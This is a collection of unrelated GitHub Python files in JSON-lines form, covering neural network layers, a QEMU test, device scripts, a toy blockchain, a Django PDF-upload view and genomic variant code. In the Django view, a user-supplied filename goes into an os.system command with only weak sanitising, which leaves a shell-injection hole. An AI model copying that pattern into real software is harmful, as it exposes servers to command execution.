self.residual_list = self.get_residual_layer()\n\n \n def inference(self, x, reuse=False):\n with tf.variable_scope(self.name):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n x = self.conv(x, [3, self.filter, 1, None])\n for i in range(self.residual_list[0]):\n x = self.residual_block(x, channels=self.filter, layer_num=1, downsample=False, name='resblock0_' + str(i))\n x = self.residual_block(x, channels=self.filter*2, layer_num=2, downsample=True, name='resblock1_0')\n for i in range(1, self.residual_list[1]) :\n x = self.residual_block(x, channels=self.filter*2, layer_num=2, downsample=False, name='resblock1_' + str(i))\n x = self.residual_block(x, channels=self.filter*4, layer_num=3, downsample=True, name='resblock2_0')\n for i in range(1, self.residual_list[2]) :\n x = self.residual_block(x, channels=self.filter*4, layer_num=3, downsample=False, name='resblock2_' + str(i))\n x = self.residual_block(x, channels=self.filter*8, layer_num=4, downsample=True, name='resblock_3_0')\n for i in range(1, self.residual_list[3]) :\n x = self.residual_block(x, channels=self.filter*8, layer_num=4, downsample=False, name='resblock_3_' + str(i))\n x = self.ReLU(self.BN(x, [None]),[None])\n x = self.gap(x,[self.out_dim])\n x = self.fc(x, [self.out_dim, None])\n logits = tf.identity(x, name=\"output_logits\")\n return logits\n\n def resblock(self, x, channels, layer_num, downsample=False, name=None):\n with tf.variable_scope(name):\n if self.stochastic_depth(layer_num):\n return self.conv(x, [1, channels, 2, None]) if downsample else x\n else:\n logits = self.ReLU(self.BN(x, [None]),[None])\n if downsample:\n logits = self.conv(logits, [3, channels, 2, None])\n x = self.conv(x, [1, channels, 2, None])\n else:\n logits = self.conv(logits, [3, channels, 1, None])\n logits = self.ReLU(self.BN(logits, [None]),[None])\n logits = self.conv(logits, [3, channels, 1, None])\n return logits + x\n \n def bottle_resblock(self):\n pass\n\n def stochastic_depth(self, idx, L=4):\n \"\"\"\n Base\n -----\n https://qiita.com/supersaiakujin/items/eb0553a1ef1d46bd03fa\n \n parameter\n -----\n idx : present layer\n L : value of Layers\n \"\"\"\n if self.p_L == 1. or self._trainable is False:\n return False\n \n survival_probability = 1.0 - idx / L * (1.0 - self.p_L)\n if np.random.rand() >= survival_probability: # layer方向にDropout\n return True\n else:\n return False\n\n def get_residual_layer(self) :\n if self.n_res == 18:\n return [2, 2, 2, 2]\n\n elif self.n_res == 34:\n return [3, 4, 6, 3]\n\n elif self.n_res == 50:\n return [3, 4, 6, 3]\n\n elif self.n_res == 101:\n return [3, 4, 23, 3]\n\n elif self.n_res == 152:\n return [3, 8, 36, 3]\n\n\n\nclass ResNeXt(Model):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n \n self.residual_list = [3, 4, 6, 3]\n self.cardinality = 32\n\n def inference(self, x, reuse=False):\n with tf.variable_scope(self.name):\n if reuse:\n tf.get_variable_scope().reuse_variables()\n x = self.conv(x, [3, 64, 1, None])\n x = self.ReLU(self.BN(x, [None]),[None])\n for i in range(self.residual_list[0]):\n x = self.residual_layer(x, 128, name='resblock0_' + str(i))\n for i in range(self.residual_list[1]):\n x = self.residual_layer(x, 256, name='resblock1_' + str(i))\n for i in range(self.residual_list[2]):\n x = self.residual_layer(x, 512, name='resblock2_' + str(i))\n for i in range(self.residual_list[3]):\n x = self.residual_layer(x, 1024, name='resblock3_' + str(i))\n x = self.gap(x,[self.out_dim])\n featmap = self.fc(x, [self.out_dim, None])\n logits = tf.identity(featmap, name=\"output_logits\")\n return logits\n\n def residual_layer(self, x, channels, name=None):\n input_channel = x.get_shape().as_list()[-1]\n\n if input_channel * 2 == channels:\n flag = True\n stride = 2\n elif input_channel == channels:\n flag = False\n stride = 1\n else:\n raise ValueError('Output and input channel does not match in residual blocks!!!')\n\n with tf.variable_scope(name):\n logits = self.conv(x, [1, channels/2, stride, None])\n logits = self.ReLU(self.BN(logits, [None]),[None])\n \"\"\"\n Group convolution\n \"\"\"\n input_list = tf.split(logits, self.cardinality, axis=-1)\n logits_list = []\n for _, input_tensor in enumerate(input_list):\n logits_list.append(self.conv(input_tensor, [3, channels/2, 1, None]))\n logits = tf.concat(logits_list, axis=-1)\n logits = self.ReLU(self.BN(logits, [None]),[None])\n\n logits = self.conv(logits, [1, channels, 1, None])\n logits = self.BN(logits, [None])\n\n if flag is True :\n pad_input_x = self.avg_pool(x, [2, 2, 'SAME'])\n pad_input_x = tf.pad(pad_input_x, [[0, 0], [0, 0], [0, 0], [0, int(channels/2)]]) # [?, height, width, channel]\n else :\n pad_input_x = x\n \n logits = self.ReLU(logits + pad_input_x, [None])\n\n return logits\n\n\nclass SENet(ResNet):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def resblock(self, x, channels, layer_num, downsample=False, name=None):\n with tf.variable_scope(name):\n if self.stochastic_depth(layer_num):\n return self.conv(x, [1, channels, 2, None]) if downsample else x\n else:\n logits = self.ReLU(self.BN(x, [None]),[None])\n if downsample:\n logits = self.conv(logits, [3, channels, 2, None])\n x = self.conv(x, [1, channels, 2, None])\n else:\n logits = self.conv(logits, [3, channels, 1, None])\n logits = self.ReLU(self.BN(logits, [None]),[None])\n logits = self.conv(logits, [3, channels, 1, None])\n\n # Squeeze-and-Excitation Block\n logits = self.squeeze_excitation_layer(logits, 4, name='selayer')\n \n return logits + x\n\n def squeeze_excitation_layer(self, x, ratio, name):\n with tf.variable_scope(name):\n channel = x.get_shape().as_list()[-1]\n logits = self.gap(x, [channel])\n logits = self.fc(logits, [channel/ratio,tf.nn.relu])\n logits = self.fc(logits, [channel, tf.nn.sigmoid])\n logits = tf.reshape(logits, [-1, 1, 1, channel])\n\n return x * logits\n\nclass sSENet(ResNet):\n \"\"\"\n Channel Squeeze and Spatial Excitation Block\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def resblock(self, x, channels, layer_num, downsample=False, name=None):\n with tf.variable_scope(name):\n if self.stochastic_depth(layer_num):\n return self.conv(x, [1, channels, 2, None]) if downsample else x\n else:\n logits = self.ReLU(self.BN(x, [None]),[None])\n if downsample:\n logits = self.conv(logits, [3, channels, 2, None])\n x = self.conv(x, [1, channels, 2, None])\n else:\n logits = self.conv(logits, [3, channels, 1, None])\n logits = self.ReLU(self.BN(logits, [None]),[None])\n logits = self.conv(logits, [3, channels, 1, None])\n\n # Squeeze-and-Excitation Block\n logits = self.channel_squeeze_and_spatial_excitation(logits, 4, name='sselayer')\n \n return logits + x\n\n def channel_squeeze_and_spatial_excitation(self, x, ratio, name):\n with tf.variable_scope(name):\n logits = self.conv(x, [1, 1, 1, tf.nn.sigmoid])\n return x * logits\n\n\nclass scSENet(ResNet):\n \"\"\"\n Spatial and Channel Squeeze & Excitation \n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def resblock(self, x, channels, layer_num, downsample=False, name=None):\n with tf.variable_scope(name):\n if self.stochastic_depth(layer_num):\n return self.conv(x, [1, channels, 2, None]) if downsample else x\n else:\n logits = self.ReLU(self.BN(x, [None]),[None])\n if downsample:\n logits = self.conv(logits, [3, channels, 2, None])\n x = self.conv(x, [1, channels, 2, None])\n else:\n logits = self.conv(logits, [3, channels, 1, None])\n logits = self.ReLU(self.BN(logits, [None]),[None])\n logits = self.conv(logits, [3, channels, 1, None])\n\n # Squeeze-and-Excitation Block\n logits = self.concurrent_spatial_and_channel_se(logits, 4, name='scselayer')\n \n return logits + x\n\n def concurrent_spatial_and_channel_se(self, x, ratio, name):\n with tf.variable_scope(name):\n cse = self.squeeze_excitation_layer(x, ratio, name='selayer')\n sse = self.channel_squeeze_and_spatial_excitation(x, 4, name='cselayer')\n return cse + sse\n\n def squeeze_excitation_layer(self, x, ratio, name):\n with tf.variable_scope(name):\n channel = x.get_shape().as_list()[-1]\n logits = self.gap(x, [channel])\n logits = self.fc(logits, [channel/ratio,tf.nn.relu])\n logits = self.fc(logits, [channel, tf.nn.sigmoid])\n logits = tf.reshape(logits, [-1, 1, 1, channel])\n\n return x * logits\n\n\n def channel_squeeze_and_spatial_excitation(self, x, ratio, name):\n with tf.variable_scope(name):\n logits = self.conv(x, [1, 1, 1, tf.nn.sigmoid])\n return x * logits","repo_name":"KNakane/tensorflow","sub_path":"network/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":11312,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"6944383093","text":"import time\nimport json\n\nfrom provider import backup_utils\nfrom provider.blockdev_snapshot_base import BlockDevSnapshotTest\n\n\nclass BlockDevStreamTest(BlockDevSnapshotTest):\n\n def __init__(self, test, params, env):\n super(BlockDevStreamTest, self).__init__(test, params, env)\n self._stream_options = {}\n self._top_device = \"drive_%s\" % self.snapshot_tag\n self._init_stream_options()\n if self.base_tag == self.params.objects(\"images\")[0]:\n self.disks_info[self.base_tag] = [\n \"system\", self.params.get(\"mnt_on_sys_dsk\", \"/var/tmp\")\n ]\n\n def _init_stream_options(self):\n if self.params.get(\"speed\"):\n self._stream_options[\"speed\"] = int(self.params[\"speed\"])\n if self.params.get(\"base\"):\n self._stream_options[\"base\"] = self.params[\"base\"]\n if self.params.get(\"base_node\"):\n self._stream_options[\"base-node\"] = self.params[\"base_node\"]\n if self.params.get(\"on_error\"):\n self._stream_options[\"on-error\"] = self.params[\"on_error\"]\n if self.params.get(\"auto_finalize\"):\n self._stream_options[\"auto-finalize\"] = self.params[\"auto_finalize\"]\n if self.params.get(\"auto_dismiss\"):\n self._stream_options[\"auto-dismiss\"] = self.params[\"auto_dismiss\"]\n if self.params.get(\"backing_file\"):\n self._stream_options[\"backing-file\"] = self.params[\"backing_file\"]\n if self.params.get(\"block_stream_timeout\"):\n self._stream_options[\"timeout\"] = int(\n self.params[\"block_stream_timeout\"])\n\n def snapshot_test(self):\n for info in self.disks_info.values():\n self.generate_tempfile(info[1], filename=\"base\")\n self.create_snapshot()\n for info in self.disks_info.values():\n self.generate_tempfile(info[1], filename=\"sn1\")\n\n def blockdev_stream(self):\n if not self.is_blockdev_mode():\n self._stream_options[\"base\"] = self.base_image.image_filename\n self._top_device = self.params[\"device\"]\n backup_utils.blockdev_stream(self.main_vm, self._top_device,\n **self._stream_options)\n time.sleep(0.5)\n\n def check_backing_file(self):\n self.main_vm.destroy()\n out = self.snapshot_image.info(output=\"json\")\n info = json.loads(out)\n backing_file = info.get(\"backing-filename\")\n assert not backing_file, \"Unexpect backing file(%s) found!\" % backing_file\n\n def mount_data_disks(self):\n if self.base_tag != self.params.objects(\"images\")[0]:\n super(BlockDevStreamTest, self).mount_data_disks()\n\n def remove_files_from_system_image(self, tmo=60):\n \"\"\"Remove testing files from system image\"\"\"\n if self.base_tag == self.params.objects(\"images\")[0]:\n files = [\"%s/%s\" % (info[0], info[1]) for info in self.files_info]\n if files:\n self.main_vm = self.main_vm.clone()\n self.main_vm.create()\n self.main_vm.verify_alive()\n\n try:\n session = self.main_vm.wait_for_login()\n session.cmd(\"rm -f %s\" % \" \".join(files), timeout=tmo)\n session.close()\n finally:\n self.main_vm.destroy()\n\n def do_test(self):\n self.snapshot_test()\n self.blockdev_stream()\n self.check_backing_file()\n self.clone_vm.create()\n self.mount_data_disks()\n self.verify_data_file()\n\n def run_test(self):\n self.pre_test()\n try:\n self.do_test()\n finally:\n self.post_test()\n","repo_name":"autotest/tp-qemu","sub_path":"provider/blockdev_stream_base.py","file_name":"blockdev_stream_base.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"16487354369","text":"#!/usr/bin/python3\n\nfrom evdev import ecodes, InputDevice\nfrom time import time\nfrom select import select\nimport os\nimport sys\nimport evdev\n\nsys_touchscreen_path = os.readlink(\"/etc/dev/touchscreen\")\nsys_touchscreen_driver = os.path.dirname(sys_touchscreen_path)\nsys_touchscreen_node = os.path.basename(sys_touchscreen_path)\n\ndef enable_touchscreen():\n try:\n with open(sys_touchscreen_driver+\"/bind\",\"w\") as f:\n f.write(sys_touchscreen_node+\"\\n\")\n except: pass\n\ndef disable_touchscreen():\n try:\n with open(sys_touchscreen_driver+\"/unbind\",\"w\") as f:\n f.write(sys_touchscreen_node+\"\\n\")\n except: pass\n\ndef get_screen_brightness():\n with open(\"/etc/dev/backlight/brightness\") as f:\n return int(f.read())\n\ndef set_screen_brightness(brightness):\n with open(\"/etc/dev/backlight/brightness\", \"w\") as f:\n f.write(str(brightness) + \"\\n\")\n\ndef readall(path):\n with open(path, \"r\") as f:\n return f.read()\n\ndef on():\n enable_touchscreen()\n\ndef off():\n disable_touchscreen()\n\nlast_brightness = get_screen_brightness() or readall(\"/etc/dev/default-brightness\")\n\ndef main(args):\n global last_brightness\n\n dev = InputDevice(\"/etc/dev/power-key\")\n\n while True:\n # Block for a 1s or until there are events to be read.\n r, _, _ = select([dev], [], [], 1)\n\n brightness = get_screen_brightness()\n if brightness:\n on()\n else:\n off()\n\n if not r:\n continue\n\n for event in dev.read():\n if event.type == ecodes.EV_KEY and event.value == 1 and event.code == ecodes.KEY_POWER:\n if brightness:\n last_brightness = get_screen_brightness() or last_brightness\n set_screen_brightness(0)\n off()\n else:\n on()\n set_screen_brightness(last_brightness)\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv))\n","repo_name":"Daniel-Abrecht/dpa-image-builder","sub_path":"config/default/rootfs/usr/local/bin/powerkey.py","file_name":"powerkey.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"11"} +{"seq_id":"32236400529","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Tests for `candejar.cidprocessing` module.\"\"\"\nimport pytest\nfrom types import SimpleNamespace\nfrom candejar.cidprocessing.main import process\n\ndef process_(cid):\n for result in process(cid):\n yield result.__name__\n\ndef test_processing(cidmock):\n names = \" \".join(process_(cidmock))\n assert names[:5] == \"A1 A2\"\n print(f\"\\n{names}\")\n","repo_name":"Ricyteach/candejar","sub_path":"tests/test_cidprocessing.py","file_name":"test_cidprocessing.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71393824987","text":"from hashlib import sha256\n\nclass Block:\n \n def __init__(self, blockID:int, userID:int, dataType:int, data, timestamp:str, doctorID:int=-1, previousHash:str=\"0\", nonce:int=0):\n self.blockID = blockID\n self.userID = userID\n self.doctorID = doctorID\n self.timestamp = timestamp\n self.dataType = dataType\n self.data = data\n self.previousHash = previousHash\n self.nonce = nonce\n self.hash = self.calculateHash()\n\n def mineBlock(self, difficulty:int=2):\n self.nonce = 0\n self.hash = \"aaaaaaaaaaaaaaaaaaaaa\"\n while self.hash[0:difficulty] != \"0\" * difficulty:\n self.nonce+=1\n self.hash = self.calculateHash()\n return self.hash\n\n def calculateHash(self):\n self.hash = sha256((str(self.blockID) + str(self.userID) + str(self.doctorID) + str(self.dataType) + str(self.timestamp) + str(self.previousHash) + str(self.nonce)).encode('utf-8')).hexdigest()\n return self.hash","repo_name":"juandiseg/blockchainMR","sub_path":"Block.py","file_name":"Block.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11916458044","text":"from sqlalchemy import create_engine, desc\nfrom sqlalchemy.orm import sessionmaker\nimport yaml\nfrom utils.phone import MobileClassifier\n\ntry:\n from db.model import Order\nexcept:\n from model import Order\n\nm = MobileClassifier()\n\n\ndef fix_order_area():\n \"\"\"\n \"\"\"\n try:\n session = Session()\n\n q = session.query(Order).filter(Order.area == None).order_by(Order.req_time).all()\n\n i = 0\n for order in q:\n if len(order.mobile) != 11:\n continue\n\n # print(book.value)\n head = int(order.mobile[0:7])\n # print(head)\n print('1')\n o, a = m.search(head)\n print('2')\n if o:\n # print(o, a)\n order.area = '%s:%s' % (o, a)\n # session.add(order)\n\n i += 1\n if i % 100 == 0:\n session.commit()\n finally:\n session.close()\n\n\nif __name__ == \"__main__\":\n config = yaml.load(open('../config.yaml', 'r'))\n\n url = config['database']['url']\n\n engine = create_engine(url, pool_size=2,\n echo=True,\n echo_pool=True, pool_recycle=3600)\n\n Session = sessionmaker(bind=engine)\n\n fix_order_area()","repo_name":"lescpsn/lescpsn","sub_path":"dev4qx/madeira/fix/order-fix.py","file_name":"order-fix.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"70115162589","text":"import time\nimport os\nimport sys\nimport shutil\nfrom django.http import HttpResponse\nfrom rest_framework import views\nfrom rest_framework.parsers import MultiPartParser, FileUploadParser, FormParser\nfrom rest_framework.response import Response\nclass FileUploadView(views.APIView):\n parser_classes = ( FileUploadParser, MultiPartParser)\n absolute_dir = 'datafolder/'\n jar_location = './jar/remove-watermark.jar'\n ## get absolute path\n def get_file_path(self, file_name):\n return os.path.join(FileUploadView.absolute_dir, file_name)\n\n ## set in and out file name\n def set_file_name(self,file_name):\n file_name = file_name if file_name.endswith(\".pdf\") else file_name+\".pdf\" \n file_name = file_name.replace(\"/\",\"\")\n file_name = file_name.replace(\" \", \"_\")\n self.original_filename = file_name\n current_time = str(time.time())\n self.in_file_name = self.get_file_path(current_time + file_name+'.pdf')\n self.out_file_name = self.get_file_path(current_time +'_out_' +file_name +'.pdf')\n ## save file \n def save(self, file_obj):\n with open(self.in_file_name,'wb') as f:\n f.write(file_obj)\n\n ## delete file\n def delete_file(self, file_name):\n if os.path.exists(file_name):\n os.remove(file_name)\n\n \n ## cleanup all the temporary files\n def cleanup(self):\n self.delete_file(self.in_file_name)\n self.delete_file(self.out_file_name)\n\n ## def generate the file\n def remove_water_mark(self):\n command = 'java -jar \"{}\" \"{}\" \"{}\"'.format(FileUploadView.jar_location, self.in_file_name, self.out_file_name)\n os.system(command)\n\n ## def return created file\n def return_processed_file(self):\n ## execute command\n self.remove_water_mark()\n ## wait for the file completion\n total_wait = 0\n ## need total wait time limit\n while(not os.path.exists(self.out_file_name) and total_wait < 120):\n time.sleep(2)\n total_wait += 2\n \n if(total_wait > 120):\n self.cleanup(self.in_file_name)\n return Response(status=500)\n ## \n response = None\n with open(self.out_file_name, 'rb') as f:\n response = HttpResponse(content_type='application/pdf')\n # print(self.original_filename)\n response['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(self.original_filename)\n response.write(f.read())\n \n ## call cleanup\n self.cleanup()\n return response\n\n def put(self, request,filename , format=None):\n file_obj = request.data\n print(file_obj.keys())\n name = filename\n self.set_file_name(filename)\n self.save(file_obj['file'].read())\n return self.return_processed_file()\n # ...\n # do some stuff with uploaded file\n # ...\n # return Response(status=204)\n\n def get(self, request):\n return Response(\"Hello\", status = 200)","repo_name":"akg92/pythonaw-django","sub_path":"watermark/views/file_process_view.py","file_name":"file_process_view.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1010791860","text":"import pandas as pd\nimport csv\n\n\nheaders = [\"game_date\",\n \"Home Team\",\n \"Away Team\",\n \"Period\",\n \"Clock\",\n \"Home Team Skaters\",\n \"Away Team Skaters\",\n \"Home Team Goals\",\n \"Away Team Goals\",\n \"Team\",\n \"Player\",\n \"Event\",\n \"X Coordinate\",\n \"Y Coordinate\",\n \"Detail 1\",\n \"Detail 2\",\n \"Detail 3\",\n \"Detail 4\",\n \"Player 2\",\n \"X Coordinate 2\",\n \"Y Coordinate 2\"\n ]\n\nshots = []\ngoals = []\n\n\nwith open('/Users/bburkey49/Documents/playground/hockey_comp/big_data_cup_2021/hackathon_womens.csv', 'r') as csvfile:\n df = pd.read_csv(csvfile, delimiter=',', )\n\n for event, x, y in zip(df[\"Event\"], df[\"X Coordinate\"], df[\"Y Coordinate\"]):\n if event == \"Shot\":\n shots.append((x, y))\n\n elif event == \"Goal\":\n goals.append((x,y))\n\n\n\nimport sys\nimport pygame\nfrom pygame.locals import KEYDOWN, K_q\n\n# CONSTANTS:\nSCREENSIZE = WIDTH, HEIGHT = 600, 255\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nGREY = (160, 160, 160)\nPADDING = PADTOPBOTTOM, PADLEFTRIGHT = 0, 0\n# VARS:\n_VARS = {'surf': False}\n\n\ndef main():\n pygame.init()\n _VARS['surf'] = pygame.display.set_mode(SCREENSIZE)\n while True:\n checkEvents()\n _VARS['surf'].fill(GREY)\n drawGrid(3)\n pygame.display.update()\n\n\ndef drawGrid(divisions):\n # DRAW Rectangle\n\n # TOP lEFT TO RIGHT\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (0 + PADLEFTRIGHT, 0 + PADTOPBOTTOM),\n (WIDTH - PADLEFTRIGHT, 0 + PADTOPBOTTOM), 2)\n\n\n # BOTTOM lEFT TO RIGHT\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (0 + PADLEFTRIGHT, HEIGHT - PADTOPBOTTOM),\n (WIDTH - PADLEFTRIGHT, HEIGHT - PADTOPBOTTOM), 2)\n\n\n # LEFT TOP TO BOTTOM\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (0 + PADLEFTRIGHT, 0 + PADTOPBOTTOM),\n (0 + PADLEFTRIGHT, HEIGHT - PADTOPBOTTOM), 2)\n\n\n # RIGHT TOP TO BOTTOM\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (WIDTH - PADLEFTRIGHT, 0 + PADTOPBOTTOM),\n (WIDTH - PADLEFTRIGHT, HEIGHT - PADTOPBOTTOM), 2)\n\n # Get cell size\n horizontal_cellsize = (WIDTH - (PADLEFTRIGHT*2))/divisions\n vertical_cellsize = (HEIGHT - (PADTOPBOTTOM*2))/divisions\n\n # VERTICAL DIVISIONS: (0,1,2) for grid(3) for example\n for x in range(divisions):\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (0 + PADLEFTRIGHT+(horizontal_cellsize*x), 0 + PADTOPBOTTOM),\n (0 + PADLEFTRIGHT+horizontal_cellsize*x, HEIGHT - PADTOPBOTTOM), 2)\n # HORITZONTAL DIVISION\n pygame.draw.line(\n _VARS['surf'], BLACK,\n (0 + PADLEFTRIGHT, 0 + PADTOPBOTTOM + (vertical_cellsize*x)),\n (WIDTH - PADLEFTRIGHT, 0 + PADTOPBOTTOM + (vertical_cellsize*x)), 2)\n\n\n plotted_shots = []\n for shot in shots:\n adj = (shot[0] * 3, shot[1] * 3)\n alpha = 1.5\n if shot in plotted_shots:\n alpha += 1.5\n # print(f'Adj: {adj}')\n pygame.draw.circle(\n _VARS['surf'], BLACK, \n adj, alpha)\n plotted_shots.append(shot)\n\n plotted_goals = []\n for goal in goals:\n adj = (goal[0] * 3, goal[1] * 3)\n alpha = 1.5\n if goal in plotted_goals:\n alpha += 1.5\n # print(f'Adj: {adj}')\n pygame.draw.circle(\n _VARS['surf'], RED, \n adj, alpha)\n plotted_goals.append(goal)\n\n # print(f\"Goals: {len(goals)}\")\n\n # pygame.draw.circle(_VARS['surf'], GREEN, (150,30), 100)\n\n\ndef checkEvents():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == KEYDOWN and event.key == K_q:\n pygame.quit()\n sys.exit()\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","repo_name":"bburkey49/hockey_data_cup","sub_path":"shots_grid.py","file_name":"shots_grid.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20513006714","text":"import abc\nimport random\nimport re\nimport collections\nimport string\n\n# Define a new variant to be added into the synthetic reference\n# This is the base class for defining variants. Define the class\n# variable ATTRIBUTES in implementation. Each attribute mapping\n# should be a tuple similar to (name, type_initializer)\n# Input values will be set to the type during initialization\n\n\n# Define a named tuple for modifications\nMOD = collections.namedtuple('MOD', ['type', 'index', 'effect'])\n\n# strip unused / blank fields before initializing\nclass VariantDefinition(object):\n ATTRIBUTES = []\n TRANSLATION_TABLE = {}\n TRANS_COUNT = 0\n def __init__(self, *args, **kwargs):\n self.type = kwargs['var_type']\n self._rel_start = None\n self._map_arguments_to_attributes(*args)\n\n @abc.abstractmethod\n def modify(self, reference):\n pass\n\n def set_relative_start(self, position):\n self._rel_start = position\n\n def _map_arguments_to_attributes(self, *args):\n pairs = zip(self.ATTRIBUTES, args)\n for k,v in pairs:\n setattr(self, k[0], k[1](v))\n\n def _apply_mods(self, reference, mods, tags_only=False):\n modified_reference = ''\n prev_index = 0\n sorted_mods = sorted(mods, key=lambda x:x.index)\n for i, m in enumerate(sorted_mods):\n if m.type == 'INS':\n modified_reference += reference[prev_index:m.index] + '_{}_'.format(m.effect)\n prev_index = m.index\n elif m.type == 'TRANS':\n # this returns it, but we really want to apply the modification\n modified_reference += reference[prev_index:m.index]\n if not tags_only:\n modified_reference += self._get_trans_reference(VariantDefinition.TRANSLATION_TABLE[m.effect], m.effect)\n\n return (self._apply_mods(*self._current_mods(modified_reference)),\n self._apply_mods('X' * m.index + reference[m.index:], sorted_mods[i+1:]))\n else:\n # not tag only so append the MOD to the reference\n modified_reference += '|({})|'.format(m.effect)\n \n prev_index = m.index\n elif m.type =='INV':\n modified_reference += reference[prev_index:m.index] \n if not tags_only:\n inv_seq, other_seq = self._get_inv_reference(\n VariantDefinition.TRANSLATION_TABLE[m.effect], m.effect)\n\n modified_reference += inv_seq\n\n \n return (self._apply_mods(*self._current_mods(modified_reference)),\n self._apply_mods(*self._current_mods('X' * m.index + reverse_complement(reference[m.index:]) + other_seq)))\n #self._apply_mods('X' * m.index + reference[m.index:], sorted_mods[i+1:]))\n\n else:\n modified_reference += '|({})|'.format(m.effect)\n prev_index = m.index\n\n return modified_reference + reference[prev_index:]\n \n def _get_trans_reference(self, reference, effect):\n count, event = effect.split('-')\n if int(count) % 2 == 0:\n query = '|({}-{})|'.format(int(count) - 1, event)\n else:\n query = '|({}-{})|'.format(int(count) + 1, event)\n\n index = reference.find(query)\n return reference[index + len(query):]\n\n def _get_inv_reference(self, reference, effect):\n count, event = effect.split('-')\n if int(count) % 2 == 0:\n query = '|({}-{})|'.format(int(count) - 1, event)\n else:\n query = '|({}-{})|'.format(int(count) + 1, event)\n index = reference.find(query)\n return reverse_complement(reference[:index]), reference[index + len(query):]\n \n def _current_mods(self, reference):\n ''' if other insertions have been made we will need to strip them from the reference\n before we proceed\n '''\n # split out the insertions\n data = reference.split('_')\n mods = []\n index = 0\n unmodified_ref = ''\n for x in range(len(data)):\n if x % 2 == 0:\n # this is part of the unmodified reference\n data_trans = data[x].split('|')\n if len(data_trans) > 1:\n for trans_index in range(len(data_trans)):\n if '(' not in data_trans[trans_index]:\n index += len(data_trans[trans_index])\n unmodified_ref += data_trans[trans_index]\n else:\n effect = data_trans[trans_index][1:-1]\n mods.append(\n MOD(effect.split('-')[1],\n index,\n effect))\n else:\n index += len(data[x])\n unmodified_ref += data_trans[0]\n else:\n index += len(data[x])\n \n mods.append(\n MOD('INS',\n index,\n data[x]))\n\n return unmodified_ref, mods\n\n\n def _identify_translocations(self, ref):\n positions = self._identify_index(ref)\n events = re.findall('\\|\\(([^\\|]*)\\)', ref)\n\n return zip(positions, events)\n\n def _indentify_index(self, ref):\n positions = []\n for i,x in enumerate(ref):\n if x == '|':\n positions.append((i,x))\n return positions\n\n\nclass SubstitutionVariantDefinition(VariantDefinition):\n ''' This class defines a single base variant\n '''\n ATTRIBUTES = [('chromosome', str),\n ('position', int),\n ('ref', str),\n ('alt', str)]\n\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n\n def modify(self, reference):\n # no modifications should be made to this base as of yet...\n # convert from 1 - base indexing to 0 base\n index = self.position - self._rel_start - 1 \n assert(reference[index] == self.ref)\n start_seq = ''\n end_seq = ''\n try:\n start_seq = reference[:index]\n except IndexError:\n raise Exception(\"Index for variant does not exists in reference\")\n try:\n end_seq = reference[index + 1:]\n except IndexError:\n # if it didn't error out from before, it means that the position of\n # the variant appears at the very end of the read\n end_seq = ''\n return start_seq + self.alt + end_seq\n\n\nclass DeletionVariantDefinition(VariantDefinition):\n ATTRIBUTES = [('chromosome', str),\n ('start_position', int),\n ('end_position', int)]\n\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n # the actual position / index of the deleted base should be + 1\n self.start_position += 1\n\n def modify(self, reference):\n # a couple of cases should be considered here for the deletion\n # 1. complete overlap\n # when the deletion appears before the start of reference and ends after\n # 2. complete overlap of one end\n # when the deletion appears before the reference and ends in the middle\n # or the deletion appears in the middle of the refernces and ends\n # after\n # 3. contained within the reference\n # when the deletion appears somewhere in the middle of the reference\n # and ends before the end\n len_reference = len(reference)\n modified_reference = ''\n\n if self.start_position <= self._rel_start:\n # subtract 1 from the index possibly\n if self.end_position >= self._rel_start + len_reference - 1:\n # handle case 1\n # don't do anything, an empty string should be returned\n deletion_start_index = 0\n deletion_end_index = len_reference\n else:\n # handle case 2\n # deletion begins at or before the start of the sequence and\n # terminates in the middle\n deletion_start_index = 0\n deletion_end_index = self.end_position - self._rel_start + 1\n\n elif self.end_position >= self._rel_start + len_reference - 1:\n # handle case 2\n # deletion begins in the middle of the sequence and terminates at the end\n deletion_start_index = self.start_position - self._rel_start\n deletion_end_index = len_reference\n pass\n else:\n # handle case 3\n deletion_start_index = self.start_position - self._rel_start\n deletion_end_index = self.end_position - self._rel_start + 1\n modified_reference += reference[:deletion_start_index]\n modified_reference += 'X' * (deletion_end_index - deletion_start_index)\n # why does this have to be incremented by 1\n modified_reference += reference[deletion_end_index:]\n\n return modified_reference \n\n\nclass 